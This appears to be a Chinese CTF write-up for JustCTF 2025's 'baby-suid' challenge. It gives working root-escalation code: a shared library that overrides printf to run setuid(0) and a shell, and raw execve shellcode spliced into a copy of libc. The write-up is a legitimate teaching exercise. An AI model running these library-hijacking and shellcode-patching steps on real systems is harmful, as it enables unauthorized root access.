题目地址:socat `tty`,raw,echo=0 tcp:baby-suid.nc.jctf.pro:1234

题目分析与环境搭建

首先下载附件,hello.c就是hello程序源代码,Dockerfile用于构建本地镜像,run.sh内为部署命令

1
2
3
4
5
6
7
8
9
10
FROM --platform=linux/amd64 fedora:24

COPY --chmod=4755 hello /usr/bin/hello
COPY --chmod=400 flag.txt /flag.txt

RUN useradd -m ctfplayer
WORKDIR /home/ctfplayer

USER ctfplayer
ENTRYPOINT ["/bin/sh"]

本地构建

1
docker build -t chall_baby_suid -f ./Dockerfile .

进入容器使用该命令,多给一点资源

1
docker run --pids-limit 50 --ulimit nofile=64:64 --rm -it chall_baby_suid

首先查找一下 SUID 程序,这个容器内少了很多东西,例如findgccsudo,vim等都没有,vim 可以用 vi 代替,gcc 没有意味着我们需要在本地编译 exp 再上传

1
ls -l /usr/bin/* /bin/* /sbin/* /usr/sbin/* 2>/dev/null | grep "rws"

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-rwsr-xr-x 1 root root   64336 Mar 17  2016 /bin/chage
-rwsr-xr-x 1 root root 78288 Mar 17 2016 /bin/gpasswd
-rwsr-xr-x 1 root root 7584 Jul 31 12:21 /bin/hello
-rwsr-xr-x 1 root root 40168 Apr 26 2016 /bin/mount
-rwsr-xr-x 1 root root 34848 Mar 17 2016 /bin/newgidmap
-rwsr-xr-x 1 root root 41864 Mar 17 2016 /bin/newgrp
-rwsr-xr-x 1 root root 34848 Mar 17 2016 /bin/newuidmap
-rwsr-xr-x 1 root root 32152 Apr 26 2016 /bin/su
-rwsr-xr-x 1 root root 27888 Apr 26 2016 /bin/umount
-rwsr-xr-x 1 root root 11264 Feb 5 2016 /sbin/pam_timestamp_check
-rwsr-xr-x 1 root root 36296 Feb 5 2016 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 64336 Mar 17 2016 /usr/bin/chage
-rwsr-xr-x 1 root root 78288 Mar 17 2016 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 7584 Jul 31 12:21 /usr/bin/hello
-rwsr-xr-x 1 root root 40168 Apr 26 2016 /usr/bin/mount
-rwsr-xr-x 1 root root 34848 Mar 17 2016 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 41864 Mar 17 2016 /usr/bin/newgrp
-rwsr-xr-x 1 root root 34848 Mar 17 2016 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 32152 Apr 26 2016 /usr/bin/su
-rwsr-xr-x 1 root root 27888 Apr 26 2016 /usr/bin/umount
-rwsr-xr-x 1 root root 11264 Feb 5 2016 /usr/sbin/pam_timestamp_check
-rwsr-xr-x 1 root root 36296 Feb 5 2016 /usr/sbin/unix_chkpwd

显然我们需要利用hello提权,审计源代码

1
2
3
4
5
6
#include <stdio.h>

int main(void) {
printf("Welcome to JustCTF 2025, I’m rooting for you to succeed!\n");
return 0;
}

IDA 分析编译后程序,没有特别的,那就是劫持 libc 中的printf()函数了。为了能编译出 exp,我们需要利用 fedora 系统下的 dnf 先安装gcc

1
dnf install gcc

安装完GCC-6.3.1后,就可以开始准备提权了

提权过程

一开始打算劫持LD_AUDIT$ORIGIN溢出,在本地确认用到的符号

1
readelf -sW /usr/bin/hello | grep '@GLIBC_' | awk '{print $8}' | sort | uniq

编写.symver文件ver.c,告知链接器版本符号

1
2
3
__asm__(".symver __libc_start_main,__libc_start_main@GLIBC_2.2.5");
__asm__(".symver printf,printf@GLIBC_2.2.5");
__asm__(".symver setuid,setuid@GLIBC_2.2.5");

vi 编写如下代码exp.c

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int printf(const char *format, ...) {
setuid(0);
setgid(0);
system("/bin/sh");
return 0;
}

使用如下命令编译

1
gcc -shared -fPIC exp.c ver.c -o exp

使用如下命令在终端中上传

1
base64 -w0 exp

LD_AUDIT劫持

1
LD_AUDIT="\$ORIGIN" exec /bin/hello

发现不行,还是会报版本符号错误。

正解是直接劫持原 libc.so.6 的printf,首先截取 libc.so.6

1
head -c 344224 /lib64/libc-2.23.so > libc.so.6

追加 shellcode

1
echo -ne '\x48\x31\xff\x48\x31\xf6\xe8\x65\x55\x0a\x00\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05' >> libc.so.6

随后把剩下的 libc 也拼回来

1
tail -c+344259 /lib64/libc-2.23.so >> libc.so.6

执行/bin/hello,提权成功